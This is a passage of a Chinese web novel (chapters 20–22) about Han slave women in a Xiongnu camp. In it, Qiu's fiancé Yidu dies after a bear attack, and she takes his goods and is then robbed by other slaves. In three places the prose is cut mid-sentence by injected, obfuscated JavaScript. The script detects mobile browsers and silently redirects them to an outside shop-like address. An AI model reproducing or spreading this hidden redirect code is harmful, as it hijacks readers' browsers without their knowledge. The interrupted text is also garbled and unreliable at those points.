军臣单于说:“假如没有伊稚邪这个勇武的叔叔,于单早已被那些豺狼一样的小王撕碎了。不过,你也不用担心,在于单继位之前,我会驱逐伊稚邪,不许他再靠近王庭。这样,于单就可以顺利继承我的地位,而阏氏,你也不用再担心了。” 刘娥听见军臣单于这样说,忧愁顿消,惊喜不已,握住大单于身侧的手,缓缓依向军臣单于胸口。 今夜乌云蔽空,不见星光月影,阴山方向,一片漆黑。草木黄落,树枝光秃,枭鸟集于枝上,张口嘶鸣。匈奴人临时驻扎的营帐渐次伏在林木之中,燃烧过的火堆泛着星星点点红光。 一阵窸窸窣窣的脚步声在深林响起,两道背着弓箭的修长黑影正在光秃的树影下前行,是两个二十岁上下的匈奴少年人,他们一前一后,踏着林间厚重的枯叶往山林深处去。 一个人问道:“伊都,你白天说的那只前腿受伤的老虎是在这个方向吗?” “没错。” “如果我们真能抓到这只老虎,将他献给于单王子,王子一定会认为我们是勇士,也许我们两个有机会当百夫长。不过,可不能说这只老虎在被我们抓到之前,腿就已经受了伤。” 伊都闻言笑了一声,他向四周看了看,说道:“昆桑,你先等等,我看看白天留的记号是不是在前头。” 说着,他向前方一棵拧着弯的怪树走去,昆桑在后面随意地聊天:“不过,相比于于单王子,我还是觉得左谷蠡王大人更有血气一些。但是就像你说的,于单王子会继承大单于的地位,我们一起投效王子更有前程……” 昆桑的话还没有说完,伊都已经走到了怪树下面,他对着树根,掏出两枚火石,相互撞击。 这东西不易起火,需要多打几次,伊都专心打火,只听“琅琅”、“嚓擦”声音不断响起—— 正当伊都聚精会神,忽然感觉一阵腥臭的气息从上风口吹来头上,他心中警铃大作。 一直潜伏在树木附近的棕熊整个身形已经露出,它人立而起,足有两人高,在黑夜里赫然是个庞然大物。 伊都瞥见棕熊轮廓一惊,本欲作势滚逃,来不及反应,但见一只黑毛巨掌从半空中落下,径向他头颅击下—— 奴隶营中,所有人都已睡去,毡帐内呼噜声此起彼伏。庄翎也睡着了,她睡眠浅,总是半睡半醒。身边一侧是秋,秋还是习惯睡着的时候紧紧挨着庄翎,两个人靠着确是温暖些。 半睡半醒中,庄翎忽然感到身边的秋浑身上下一阵战栗,下一刻,秋张大嘴巴,在睡梦中发出一声尖叫。 20. 第 20 章 九月里,冰霜降落,人们每天清晨走出毡帐,都可以看见帐子外黑黄的土地上覆着一层浮白,仿佛是有谁往地面洒了一层白色硝粉。 天气也越来越冷了,早上的时候小河上甚至冻了一层薄冰。 野地还有一层稀薄黄草,匈奴人仍旧每天让人将牛、羊、马匹赶到山野里去放牧。 牛羊们才吃过春夏鲜嫩芬芳的青草,并不十分喜欢深秋干枯的黄草,但也没什么办法,没有一年常绿的草,过些日子下起大雪来,就更不用想了。 也只能不情不愿地啃吃黄色的荒草,一天到晚,也能勉强吃个六七分饱。 今天一大早,奴隶营的管事将一些汉人奴隶带到了部落右侧的牛羊圈,这会儿牛羊在山野,圈内空着。 人们穿着破旧单衣,站在清早的冷空气里克制不住地寒颤、打喷嚏。 匈奴人过来给汉人奴隶们分发了木叉、木铲、扫把等工具,大家拿到工具,如常看对面几个匈奴人,等待安排活。 匈奴管事说:“从今天开始,你们每天上午都要来清理牛羊圈里的粪便。” 话音落下,匈奴人就将汉人奴隶们全部推入牛羊圈。 这些人一向粗蛮暴躁,他们并不愿意和这些奴隶多相处,每次安排人干活都很急。汉人们被匈奴人急急推入各个牛羊圈里,东倒西歪,有人一不小心踩到牛屎或是羊屎,也只能自认倒霉。 几个匈奴人将汉人赶到牛羊圈里,都匆匆走掉了。 庄翎和秋站在同一个牛圈里,一人手里一把木铲,庄翎打量牛圈四周:附近一大片都是匈奴人圈养牛羊的地盘,用木栅栏分出一个又一个牛羊圈,每个牛圈能养百来头牛,每个羊圈大约也是一二百只羊的大小,牛圈里两三步就是一泡老大的牛屎,空气里弥漫着一股淡淡的屎臭味。 这不是一个牛圈的味道,是附近几十几百个牛羊圈一起散发出来的味道,呛人的臭气无处不在。 其实也明白匈奴人为什么都急着走,一来是这里的牲畜粪便多得闹心,二来也是这里的气味并不好闻。 秋说:“我昨天中午被匈奴人赶到牛圈和人一起铲牛屎,太阳一上来这里的味道就更大了,我在这里待一会儿就觉得身上都是牛羊屎臭味。” 说着,她皱眉低下头去,看起来有些烦躁。秋想到伊都就要回来了,但是自己总在牛羊圈里干活,身上总是臭烘烘的,他见了会不会很不喜欢?她为这个想法有些不安。 庄翎尚且不知身旁人这些拐弯抹角的小情绪,她看过四方,说道:“那就先干活吧。” 在这里干活也是随大流,匈奴人不来催促,大家就一点一点干,将圈里的粪便铲起来,堆到圈前空地上的粪堆上去,一点一点铲,一点一点堆,好似愚公堆山。 匈奴人有几百万头牛羊,也许要不了多久,大家真能在空地上堆出一座不周山来。 庄翎一边干活,一边想着冷笑话,她以为自己会觉得好笑,或是笑一笑,其实都没有,她微微皱着眉。 算一算还有一两天那个要和秋成婚的匈奴少年就回来了。 两天时间,若说快也是快,若说慢也是煎熬。 正这般想着,就见一个穿毡袍的匈奴年轻男子饶过黄色粪堆,出现在附近牛羊圈之间的空地上,他目光在几个牛羊圈中间四处张望,眉头紧锁,脚步匆匆又沉重,面上很有些不耐,就像是有什么要紧的大事儿一般,而且这大事儿让他不耐烦。 一个匈奴人有什么事情要来满是汉人奴隶的牛羊圈来搜寻? 庄翎干活之于一直暗暗留意这个匈奴人。 只见匈奴年轻男子越走越接近庄翎和秋所在的牛圈,他看遍附近的人,最后目光落在牛圈里正在皱眉铲牛屎的秋身上。 他盯着秋上下打量两眼,走到牛圈门口,用生硬的汉话对她喊道:“秋!” 秋听见这声陌生且生硬的汉语喊自己,心下奇怪,怎么像是个不熟悉的匈奴人在叫自己?便向声音传来的方向看去。 见到对方长相,一下子就想起这人是谁了。 和伊都认识一段时间之后,伊都曾买了一只羊让朋友昆桑一家帮忙杀好,请自己吃羊肉。秋还记得那天羊肉鲜嫩爽滑的滋味,现在想起来都是口舌生津,也记得昆桑一家人,尤其是昆桑。 伊都那天重点向秋介绍过昆桑,告诉她,昆桑是他一起长大的兄弟,两个人比亲兄弟还要亲。 伊都随和爱笑,对人贴心,有时候还会开玩笑逗人开心。但是他的朋友昆桑却总是冷着脸,看起来心情很差的样子。 也不怎么理会人,那天在他家里杀羊,昆桑一直干活,肉熟了他吃了很多,然后就一言不发地坐在一旁。 这会儿看见昆桑,秋十分意外,既意外见到昆桑本身,也意外昆桑这个时候出现。 但想也知道,这人必定伊都让这人找她,秋道:“伊都说你们一同陪伴王子去阴山行猎,要三天回来,今天不才是第二天吗?” 昆桑皱了皱眉,脸上肌肉微微抽搐,他冷声说道:“我们回来了,伊都说想见你,让我来找你。” 秋正烦恼手上铲牛屎的活计又脏又累,也没法偷懒,一听见伊都回来了要见自己,她立刻撇开手里的木铲,快步向昆桑走去,欲要和昆桑一起去见伊都。 庄翎在不远处看着这一幕,待秋走来从自己身侧经过,她忽然叫了一声:“秋。” 秋站住脚步,侧头看向庄翎,面上露出些许为难来,不远处的昆桑更是狠狠皱紧了眉头,他看起来简直像是要动手来打站在不远处的庄翎。 庄翎看向牛圈外那个一脸暴躁的匈奴人,并不回避对方凶狠的眼神,看着对方,用流利的匈奴话说道:“要秋离开,必须经过奴隶营管事的同意。” 昆桑冷冷道:“我会和莫里说。” 秋听见两人对话愣了愣,以往每次伊都见她,或是带她出去,都会提前和管事打招呼。久而久之,她也习惯了只要伊都过来,直接和对方走,去哪里做什么也都听对方安排。 但是这次昆桑要带自己去见伊都,却没有提前和管事打过招呼,自己也没有多问一声,就像和伊都一起出门时候习惯的一样,直接和对方走掉,没有考虑管事。 想到管事回来可能发现她不在这里干活,一定会以为她在哪里躲懒。 昨天中午被肥壮匈奴人鞭打的伤口还没有愈合,伤痕的形状就以麻线的形状伏在外衣上,她对疼痛记忆犹新。 管事惩罚奴隶从来不比昨天的匈奴壮汉手软,想到这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515143|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,秋打了个寒噤,心里的欢喜也稍稍冷却。 若不是庄翎对昆桑提起管事,自己今天免不了又挨一顿痛打,秋心里感激,但仍然不想放弃去见伊都,面上不由得带了几分愧疚和为难。 庄翎知道自己阻止不了秋去见伊都,更何况,就算是她今天阻止了两人相见,明天这两个人成婚她也没有资格阻止。 她微微偏开头,切断与秋的对视,握着手上木铲,用力对着牛屎底部铲来。 昆桑在牛圈外极不耐烦地催促了一声,秋立刻快步走向对方,和昆桑一起往伊都所在的毡帐走去。 两人走在路上,昆桑步伐极快,秋也快步跟着,想到一会儿将要见到伊都,而自己身上有许多牛圈里沾染的沙土粪屑,她一路走,一路上下扑打尘埃,又摸了好几次头发,一旁昆桑走得太快,到底不方便,她没有重扎,也是拍掉头上的尘埃杂屑。 二人七绕八绕,匆匆走了好半天,终于走到了伊都毡帐门前。没等秋稍稍喘匀呼吸,昆桑略微撩起帘子,一把将她推了进去。 秋哪里想到昆桑会如此冒昧蛮横,她半跌进毡帐中,好不容易才稳住身形,就要找到伊都告状。 方抬起头,目光正对帐内胡床,只见上面躺着一个血糊糊的人形,她吓得睁大眼睛。 乍一看上去胡床上的人浑身鲜血,仔细看去对方并未裸露伤口,这人从头到脚都缠满着绷带,而这些绷带又被他自身流出来的血液染红,是以看上去一片通红。床上人上身还好,头手俱全,下身右腿尚在,左腿从膝盖以下都不见了,腿膝断口处缠绕的绷带一片通红,正在不停往外渗出红色血汁。 这个场面看起来尤为骇人,秋看得浑身发软,向室内环视,试图寻找伊都,却并不见除了床上人、昆桑、自己之外还有什么人影。 昆桑看着胡床上的人影,脸上渐渐露出悲痛的表情,他走近胡床,半跪半坐在床边,对床上生死不明的人形说道:“我没有血缘的至亲,远远胜过我骨肉兄弟的兄弟伊都,你的兄弟昆桑回来了。我将你心爱的未婚妻带来了,你睁开眼睛,睁开眼睛看看你喜欢的姑娘。” “和她告个别,再回归天神的怀抱吧。” 胡床上躺着的人手指微微扶住床面,被绷带不分前后缠裹的头颅缓缓向门的方向侧去,一双有些失神的眼睛从绷带的间隙望向门前惊慌的人影。 秋看遍室内没有伊都的身影已然有些失望,听见昆桑在和床上的人说话便看过去,只是昆桑说得太多,她听不懂。 但当那个血色绷带缠裹的人转过头来,她有些害怕,却只能硬撑着对视,因为一旁的昆桑正警告地瞪视着她。 对方眼睛虽然看向秋,但眼睛的主人已经控制不住那双眼珠了,看人的时候并不能集中精神,瞳孔有些发散,双目也无法像从前一样顺心地表达出他的意思。 这双眼睛看起来要么是傻子的眼睛,要么是病人的眼睛,要么是死人的眼睛。 也许躺在胡床上的这个人现在既是傻子、也是病人,又是死人。 对视之中,秋意识到对方不能威胁自己,恐惧稍淡。她渐渐发现了一个可怕的现象,眼前这双垂死眼睛与伊都眼睛的颜色和形状一模一样。 这个人……真的是伊都吗? 21. 第 21 章 对视之中,秋上前走到伊都床边,她微微垂着头。 坐在胡床旁边的昆桑站起身来,他半跪在伊都床畔,握住胡床一侧满是挫伤的那只手,伊都轻轻回握住对方,他已经不能说什么了,昆桑将额头贴在伊都手背上,深深地呼吸了两口气,随即丢开伊都的手,站起身来,转身走出毡帐。 毡帐门帘落下,昆桑脚步声也渐渐远去了,室内只剩下秋和胡床上的伊都两个人。秋轻轻在胡床侧缘坐下,上下观察胡床上奄奄一息的人形。 毡帐内再没有其他人的声音,安静极了,只有淡淡的血腥味飘散,伊都的呼吸声很轻,几乎听不到,秋坐在床边,只能听见自己呼吸时胸腔起伏的震动声。 这环境让她毛骨悚然,肩膀也轻轻颤抖,伊都仰躺在床上,一双眼睛看着虚空,有时微微转动,看看毡帐里的人或是陈设。 临死的人总会格外怀念生者世界的一切。伊都看上去也知道自己快死了。 秋一直打量着床上人绷带缝隙之间唯一露出的双眼,反复看这双眼睛的形状,它的眼睛是棕色还是黑色,睫毛的长短疏密,还有眼皮的肥瘦,皮肤上细小的瘢痕…… 看过了一会儿,她有些犹豫地向前伸出手,手指触碰到伊都眼周的绷带,伊都看向头顶的秋,秋对奄奄一息的人体说道:“这真的是你吗?伊都。你是不是在和我开玩笑?” 她将这个人从头到脚看了一遍,问道:“你真的受伤了吗?是假的吧?让我看看好不好?” 说着,手指沿着绷带缠裹的轨迹摸到了打结处,伊都皱眉,喉咙里发出两声呵斥气音,秋忽视掉,手指开始拆解绷带—— 昨天伊都与昆桑作为士兵,追随于单王子入阴山驰猎,这是大单于第一次让于单王子主持秋猎。 卫兵们猜到这是大单于有意让于单王子和亲卫熟悉,也是让他在亲卫中挑选心腹。 看样子于单王子会继承大单于的王位,年轻卫兵心里有了猜测,都积极在王子面前表现,比拼谁能抓到更多的猎物,谁射出来的箭更准。 伊都是王庭的亲卫,擅长射猎,但同行之人也都是擅长骑射的精锐武士。他在其中,算得上出色,但并不是最出色的一个。 他有心拔个头筹,随众人入山追猎之后,时刻留意四周,想着会不会有什么意外的机会。 第一天围猎的时候发现一只前爪受伤的壮年老虎,在山间蹒跚步过,伊都惊喜不已。 受伤的老虎长得还很大,老虎爪子受伤就不能攀爬,也跑不远。他和昆桑两个人可以从高处攻击,也可以设下陷阱捕捉这只老虎。 若是能够顺利抓到这只老虎,大可以将虎爪上的陈旧伤稍稍掩饰,然后将老虎献至于单王子跟前,于单王子一定会对他二人大加赞赏,封赏个百夫长必定不在话下。 伊都并未声张,他一路尾随老虎,沿途做下记号,待傍晚休息时候将计划说给昆桑。 日后于单王子继承了大单于的地位,他们两个如果能在这之前成为王子的心腹勇士,前途不可限量。 二人都觉得这是个极好的主意。夜半时分,同行人都已熟睡,走入深林去搜寻老虎踪迹。 两个人在林中走了一会儿,渐渐看不清方向,伊都去树下查看白天留下的记号。正在聚精会神之间,旁边不知道潜伏了多久的成年棕熊忽然向伊都攻过来,一巴掌打在人头顶,伊都登时头脑半昏,脸皮破碎。 棕熊更加趁机狠攻。 昆桑看在眼里,着急不已,也不敢贸然靠近,只架上弓箭不停射击棕熊。棕熊皮厚,轻易扎不透皮毛,偶有扎上去的箭矢也只是扎进去半个箭头而已,都不影响棕熊打人。 昆桑只得一边继续射箭攻击棕熊,一边高呼求救。过了一会儿,有同行匈奴士兵举火而来,棕熊觑见众多火光,扔下伊都跑掉了。 却说山中一直有老虎和棕熊,两种动物都是猛兽,有时候二者领地也互相重叠,成年老虎和成年棕熊力量相当,并不轻易相攻。 但是这些日子,山里的棕熊产了崽子,变得攻击性极强。前些天和领地里的老虎打了一架,害得老虎前脚受伤,这天夜里散步,见两个人类生物鬼鬼祟祟,却没有太多防备,就潜伏起来对其中一人发动攻击。 伊都被棕熊折去了左侧小腿,浑身上下多处骨折,脸和身上许多地方皮开肉绽。 这事儿已经惊动了于单王子,昆桑只得将遇难缘由如实相告,说完颇觉丢脸,随即请求车马,带伊都回部落医治修养。 于单王子准许了昆桑的请求,让人安排轻便马车送昆桑和伊都回到部落。 伊都在山里经过随行医者草草包扎,昆桑赶车将人带回,直送到毡帐,将人放下胡床,并未再找医者。一路上,伊都几次高烧,血流不止,就要离开人世了。 昆桑找来了伊都得未婚妻过来,安排两人见最后一面。 他和伊都最后告别一次,将秋留在毡帐里,人往西边走到奴隶营,在营前寻到正在与另一个匈奴女人说话的管事,说道:“我接走了一个叫秋的奴隶,她晚些时候回来。” 管事莫里微微点头,昆桑说完离开,莫里和对面的匈奴女人说道:“哦哦,都可以,那些奴隶要不了多久就回来了,你可以在这儿等一会儿。” 匈奴女人看着昆桑的背影,问管事说:“那个昆桑怎么回事儿?” 莫里说:“伊都死了。” 匈奴女人不解地皱了皱眉,也没说什么,空气又静了下来,匈奴女人抬脚离开。 伊都的毡帐内,乳白色的毡帐被血肉映得发红,空气里的血腥气比秋刚来到的时候大了十倍不止,胡床上人的绷带被解开大半,一片血污狼藉。 秋蹲在室内空地干呕,她胃里翻江倒海,吐得涕泗横流,一边吐一边嘿嘿哭。 伊都□□上的惨剧映在她的眼瞳上,这具即将腐烂尸身上的气味无孔不入,伴随呼吸闯入她的鼻息口舌,一阵辣一阵苦,时间久了就变成了黏在舌苔和鼻腔上的腥臭。 内心里绝望和痛苦反复撕咬,但这一切都比不上她心间的怒火炽烈,这怒焰越发高涨,令她五内俱焚。 秋转身,匍匐走回身后胡床,她半弯着腰站在胡床旁边,看着生死不知奄奄一息的人,从烂瓜一样的头看到残损的腿脚。 她瞪着他,他眼睛都不会动。 一只手举起来,掌心悬在半昏迷的人眼前晃了晃,对方毫无反应。 她将全部的希望都寄托在这个人身上,为了这个人已经决心抛弃自己所有,要嫁给他。只要嫁给伊都,她就不再是奴隶,再也不会有人用鞭子打她。 鞭子打人太疼了!舂米那天,那个醉酒的匈奴胖子差点打死她,姐姐把他打晕了,这两天她一直害怕这人找来复仇,每日巴巴盼望伊都回来。偶尔也想过,也许自己把那天的遭遇告诉伊都,他会不会找到那个匈奴人给自己出气。 可是他呢!只回来一具尸体!这叫她以后怎么办? 他死了,一了百了!可是对她的所有承诺都落空了! 想到这里,秋越发愤怒,她盯着伊都,悬在半空的手忽然重重向他脸上打下。 这一掌她用足了力气,落下时完全打在对方的崩裂的伤口上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517478|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她见对方脸颊稍稍抽搐,只觉得一阵痛快。 痛快过后,又很快清醒过来,想到昆桑才走,万一突然回来怎么办?伊都是他从小一起长大的兄弟,假如他看到了这一幕,能放过自己吗? 秋心惊肉跳地望了眼门口,见门上毡帘安安静静垂着,昆桑没有回来,面前伊都没什么反应,他意识不清,只是偶尔重重地呼吸一声,已然不能再与谁沟通了。 就算见了昆桑,他也没办法告状。 想到此处,怒气盈胸的秋跳上胡床,将这人形用力手打脚踢一通,稍稍释放怒气,又捡起床上地上绷带开始给半昏半醒的人裹伤。 这会儿她已经习惯了这房间里的气味,不再想呕吐,看见伊都身上的伤,也不觉得扭曲可怖,只觉得恶心麻烦。 衣服被弄脏了,沾了好多血。 秋皱着眉看衣服上沾染的污血,顺便看到了自己衣袖上麻线补过的裂痕,便想到伊都就要死了,从前说过让她以后都衣食无忧的话,也不能再实现了。 她为这个念头有些暴躁。 手上缠裹的动作忍不住凶狠了一些。 粗暴潦草地将绷带重新缠好,秋从胡床上下来,目光在室内逡巡,看看有没有什么有价值的东西。 单身男子住的毡帐,不过二十几步宽,正对门口是一架胡床,床边有个将将到人腰高的木柜子,上面放着一个水瓮、喝水的粗陶碗,还有一把弓。秋扫了一眼,拉开柜门,柜子最里头放着一个袋子,她拽出来打开,只见是一包牛肉干,足足有四五斤重,秋忍不住笑了笑,将肉干抱在怀里。 后见毡帐里还有一只木箱,也打开来,都是一些半旧的衣裳,有的是男人穿的,有的是中年妇人穿的,还有些零碎的动物骨头和羽毛,说不清是做什么用的。她将里面完好的衣服、零碎用得着的东西都取出来。 接着她又扫过床底,什么也没有,又将室内看了一圈,再没什么可取的。秋抱着怀里的东西出去,快步走在匈奴人部落之间,一路往奴隶营而去。 部落里还有一些匈奴人在活动,有的匈奴人看见一个汉人奴隶抱着一堆乱七八糟的杂物经过,扫过一眼就移开目光。 北方一天比一天冷,匈奴人的好奇心也一天比一天少。 更何况,他们从来不爱关心这些汉人奴隶在做什么,为什么要做什么。 秋就这么抱着伊都家里的东西穿过匈奴人聚居的部落,将走到奴隶营,一路上没有遇见人阻拦,她觉得十分幸运。 这会儿营门开着,许多奴隶进入往来。人们方从牛羊圈干完活回来的,有人在水桶旁边喝水,有人则是不停地拍打身上的尘土粪屑。 看见敞开的营门,秋松了口气。 没有遇见昆桑,没有被人拦下盘问,守门的匈奴人也没有叫住她,真是太好了。 秋抱着一堆杂物走入营门。 人们也看见秋走回来,大家的目光都停留在秋怀里那堆东西上,有衣服、有袋子、还有些日常用的零碎。 大家都需要这些。 秋正在快步往自己平常住的毡帐走去,庄翎就站在毡帐外面,她看见秋抱着一堆半旧胡服,有些意外,但除了这一点意外,还有些怪异。 就好像这样一个场景不应该出现在这里,也不会出现在这里一般。 秋越走越接近平时住的毡帐,她看上去心情还不错,除了衣服好像更脏了一些,多了一些暗褐色脏污。 忽然之间,不知道是从谁先开始的,一群人猛地向秋冲过去,七手八脚地朝中间的秋挤去,发疯一样撕扯抢夺秋怀抱里的东西。 22. 第 22 章 奴隶营空地上,附近十几个人盯着秋怀里的东西,一拥而上,秋的身影立刻被人潮淹没。 她们拥住中间的秋,用力拉她怀里的衣服和东西,秋死死抱着怀里的东西,有人拧她的胳膊,有人狠狠掐她的手背,使劲儿掰开她攥着东西的手指,秋越发抱紧怀里的东西。 一个人哪里奈何得了周围七手八脚的力道? 拉拽力道来自四面八方,一件件衣服一样样物品脱离了她的怀抱,有的衣服被人团在怀里带走,有的直接在秋的怀抱里被撕裂成为大块大块的碎片,人们抓着碎片离开。 她怀里零碎的黄铜酒杯、银质勺子、骨头做成的小玩意都被人扣的扣,拽得拽。 最后人们发现了她死死保护的怀里还有个白色口袋,那里有半袋牛肉干,有人闻到了肉香,这些肉食让人发了疯。她们不再关心刚刚抢来的玩意儿,拼命去扯去撕秋怀里的牛肉干,伸手使劲儿往她怀里的袋子口伸去。 有人用力拍打秋的手,有人拼命摇晃她的肩膀,有人试着去打她的头。 庄翎强行从人群中挤进去,推开了好几个人,也挨了其他人明里暗里的好打。她来到秋身边,一把抢过差点打在秋头上的木块,远远扔出人群。然后将秋的头抱住在自己怀里,捂住她的脑袋。 秋本以为忽然过来一个人是要打自己,却发现是庄翎来保护自己,她忙将自己的头死死埋入庄翎怀里,人也更加躲避向庄翎怀抱,同时尽量将手里仅剩的牛肉干藏在两个人中间。 双拳难敌四手,更何况是这么多个人,这么多双手。 庄翎和秋两个加起来也打不过这些人,她只是抱着秋,希望秋不要伤到要害。 匈奴管事和一个匈奴女人正在奴隶营中穿行,匈奴管事陪着一旁的贝坎,有时候指向一个奴隶,问贝坎觉得怎么样。 贝坎转了一圈,看过各种各样的奴隶,有女的也有男的,她更倾向找一个女奴,但是这里的女奴大多看上去都很贫瘦,有些人就那么随意往地上坐或是躺着,无所谓身边过去的是匈奴人,还是其他什么人,这些模样让她很不喜欢。 她总是对管事莫里指点的人摇头,有时候看哪个看两眼自己先摇摇头,她说:“不行”、“这个不行”、“那个太瘦了”、“那个看上去快死了”。 莫里陪着她转了一圈,一直走到奴隶营门口,正好看到附近的奴隶一拥而上抢夺秋怀中物品的一幕。 场面很混乱,衣服在半空中四分五裂,金银器落在人的手里被人自己为神不知鬼不觉地藏起来,牛肉干掉在地上被人捡起来塞进肚子。 抱着东西死死护住的女孩儿怀里只剩下一只掉了地的空袋子,另一个女孩儿将她抱在怀里,护着她的头,替她挨别人的打,她不看谁打在她的后背、手臂上,也不看怀里那个女孩儿藏起来的是什么东西。 两个匈奴人停下来,看了好一会儿热闹,管事莫里说道:“汉人也在意他们的朋友,不过就像你说的,这个女奴太瘦弱了,干不了重活。” “傍晚时候会有更多奴隶回来,到那时候我可以再陪着你在这儿转一转,你再看看有没有合适的满意的奴隶。” 一直围着秋和庄翎抢夺东西的人终于注意到管事来了,她们胆怯了,不敢再争斗喧哗,而且秋身上也没什么东西可以抢了。她只剩下一只瘪瘪的白色布袋,而且还有人和她一起,保护着她。 方才抢到东西的人都跑掉了,这会儿只剩下几个人,万一这两个人还起手来,难保不会伤到人,仅剩的几个人想到这些,也都陆续散开。 庄翎见附近人散开,她拍拍怀里秋的肩膀,示意她附近安全了。 秋偏头扫视了眼周围,见没人再围着自己,这才微微直起身来,抱了抱怀里的东西。袋子很轻,没有一点重量,她抖了抖口袋,忽然发现袋子底不知何时被人扯掉了,边缘处还残留着一些毛边线头。现在这口袋上下开口,中间空空,里头再没有一块肉干。 庄翎也看见了秋怀里没有底的空袋子。 贝坎一直看着这两个人,听见身旁管事的话,她看着庄翎若有所思,微微皱眉说道:“怪麻烦的,还是让原来的那个女奴来做好了,有重活的时候问我哥哥借两个卫兵过来。” 莫里听她这样讲情绪也稍稍放松些,说道:“可以,我早说过,当初给你找来干活的女奴做事就不错。你也确实是不该和你哥哥闹别扭,他都是为你。” 一听见这话,贝坎立刻面露不耐,说道:“孩子在家还没吃饭,我先走了。” 庄翎方才扶稳了秋,听见附近有匈奴人交谈她下意识看过去,就见贝坎和管事站在一起,似乎为什么事情不高兴,贝坎匆匆离开。接着,管事看了庄翎和秋这边一眼,也往外走去了。 抢过秋东西的人都离她们远远的,没抢过秋东西的人也不靠近。 庄翎能感受到秋心情压抑,任谁有刚才的遭遇心情也不会好,她拍拍秋的后背,稍作安抚,说道:“还能休息一会儿,你到毡帐里躺一会儿吧,吃的东西一会儿我拿来给你。” 秋抱着怀里空无一物的袋子,微微低着头,默默随着庄翎的步伐往毡帐走去。 虽然也好奇秋刚才怀里的东西,但庄翎觉得这不是询问的时机,她想,这些或许与那个叫伊都的匈奴年轻人有关。 就是不知道有什么事儿。 但现在也不是问这个的时候。 两个人走了没几步,秋忽然停住脚步,她对庄翎说:“伊都死了。” 伊都死了。 秋说这句话的时候语气很平淡,平淡到像是没有哀伤,但她眼睛红红的,像是一只白毛红眼的兔子。 有泪珠从她红红的眼睛中滴落下来,落在那只曾经装过牛肉干的空袋子上。 会很难过吗?人遇到这样的事情总会伤心的,庄翎脚下顿了顿,陪着秋就这样默默站了片刻。 一点冷意打在了她的手背上,白色冰晶化开成水,接着是脸颊、脖子、衣服……庄翎微微抬头,望向半空,只见白雪在空中随着微风轻轻飘动,半透明的雨丝拉成细线,雨幕与落雪交织,又不经意地落下来,掉在人们的发丝、肌肤、衣服上。 人们都慌慌张张地往毡帐躲去。 庄翎也将泪痕斑斑的秋扶到毡帐里去,安顿她坐下,自己在一旁稍稍陪伴。不一会儿,匈奴人来送饭了,庄翎出去要了两碗,自己先在一旁喝掉微微烫喉的一碗,随后双手捧着另一碗汤羹送给秋。 秋默默喝掉了,然后躺在干草上,侧着脸对着幕布。不知道在想什么,也许在发呆,也许睡着了。 过了中午管事没有安排奴隶们干活,大家躺的躺,坐的坐。 一旁的吴完背靠毡帐支撑立柱,半靠半躺,嘴巴上下活动,像是咀嚼着什么。 庄翎就坐在秋身旁,有时候看看垂着的毡帘,像是能看到室外的雨夹雪,又像是等待匈奴管事催促干活。 其实也有一些为秋而起情绪,但也没什么意义,包括秋的悲伤也是。 她这人有些怪脾气,如果生活有固定的安排,就会在此留神。所以也有些奇怪匈奴人迟迟不来。 吴完咽下嘴巴里的东西,意犹未尽地咂咂嘴巴,说道:“今天下午我们大概可以歇着了,匈奴人也不是每天都有那么多活。” 方才她从地上捡起来一小块牛肉干,不知道是谁掉的,吃起来很香。 现在说这话,也许是对秋说的,也许是对庄翎说的,也许只是她好心情的自言自语。总之,她也不在意谁回答,也不需要谁来接话。 过冬的物资储备好了,牛羊还可以在野外放牧一段时间,在大雪来临之前,汉人奴隶可以过上一段相对清闲的日子。 外头的雨夹雪越下越大,噼噼啪啪打在毡帐上,始终没有听见匈奴人敲梆子,帐子内有点冷,人们拥挤着,倒也渐渐生出一点暖意,有好些人渐渐睡着了。 秋也闭上了眼睛,不知道睡着了还是没有。 又过了一个时辰,将到庄翎和匈奴女人约定干活的时间,她看了眼正在睡觉的秋,起身从人们缝隙过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520521|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,出了毡帐。 才一走出门,雨雪混着风从西北方刮来,灌了庄翎满衣凉意。 雨雪一起落下地面,冰晶落下来闪一下就融化掉,和雨水一样浸入土壤,只这一会儿功夫,地上土壤半湿。 庄翎照旧走出奴隶营,向东往匈奴人的部落穿过去,她来过许多次,路径娴熟,照常来到了匈奴女人家门口。 一路上,雨雪一直下,始终不大不小,雨雪即落即化,地上渐成泥泞,她衣服身上的衣服也渐渐半湿。 裸露的面颊、双手、脚腕,一片通红,浑身上下一身湿气,鞋子在走路过程中也沾了厚厚一层黄土湿泥。 毡帐里传出婴儿的哭声,还有匈奴女人哄孩子的“哦哦”声。 庄翎在门外站着,感受指尖传来的凉意,她有一瞬间很不想要面对任何人。 她顿了顿,还是如平常一般,隔着毡帐对里面的人说道:“我过来了,今天有什么活需要忙吗?” 